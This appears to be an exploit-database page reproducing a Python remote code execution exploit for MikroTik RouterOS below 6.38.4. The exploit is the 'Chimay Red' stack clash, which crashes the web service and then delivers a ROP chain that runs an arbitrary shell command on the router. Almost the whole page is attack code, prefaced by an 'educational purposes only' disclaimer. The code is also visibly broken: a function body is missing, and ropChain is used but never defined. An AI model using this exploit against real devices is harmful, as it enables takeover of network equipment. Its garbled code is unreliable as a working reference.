Exploits / Vulnerability Discovered : 2018-03-12 |
Type : remote |
Platform : hardware
This exploit / vulnerability Mikrotik routeros < 6.38.4 (x86) chimay red stack clash remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/env python2
# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)
# tested on RouterOS 6.38.4 (x86)
# ASLR enabled on libs only
# DEP enabled
import socket, time, sys, struct
from pwn import *
import ropgadget
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
# only search for single chars
def searchStringChunksLazy(elf, string):
chunks = []
for b in string:
res = [_ for _ in elf.search(b)]
if len(res) > 0:
chunks.append((res[0], 1))
else:
raise
if len(string) != len(chunks):
raise
return chunks
# [bugged, some problem with dots, not used]
# search chunks of string
def searchStringChunks(elf, string):
chunks = []
total = len(string)
if string == "":
raise
looking = string
while string != "":
results = [_ for _ in elf.search(looking)]
if len(results) > 0:
chunks.append((results[0], len(looking)))
string = string[len(looking):]
looking = string
else: # search failed
looking = looking[:-1] # search again removing last char
check_length = 0
for (address, length) in chunks:
check_length = check_length + length
if check_length == total:
return chunks
else:
raise
# The server is automatically restarted after 3 secs, so we make it crash with a random address
exploit += struct.pack('<L', 0x13371337)
return exploit
def stackClash(ip, port, ropChain):
print("Opening 2 sockets")
# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, port) # socket 1, thread A
s2 = makeSocket(ip, port) # socket 2, thread B
print("Stack clash...")
# 2) Stack Clash
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
print("Sending payload")
# 3) Send ROP chain
socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B
print("Starting exploit")
# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
print("Done!")
def crash(ip, port):
print("Crash...")
s = makeSocket(ip, port)
socketSend(s, makeHeader(-1))
socketSend(s, b'A' * 0x1000)
s.close()
time.sleep(2.5) # www takes up to 3 seconds to restart
if __name__ == "__main__":
if len(sys.argv) == 5:
ip = sys.argv[1]
port = int(sys.argv[2])
binary = sys.argv[3]
shellCmd = sys.argv[4]
crash(ip, port) # should make stack clash more reliable
stackClash(ip, port, ropChain)
else:
print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand")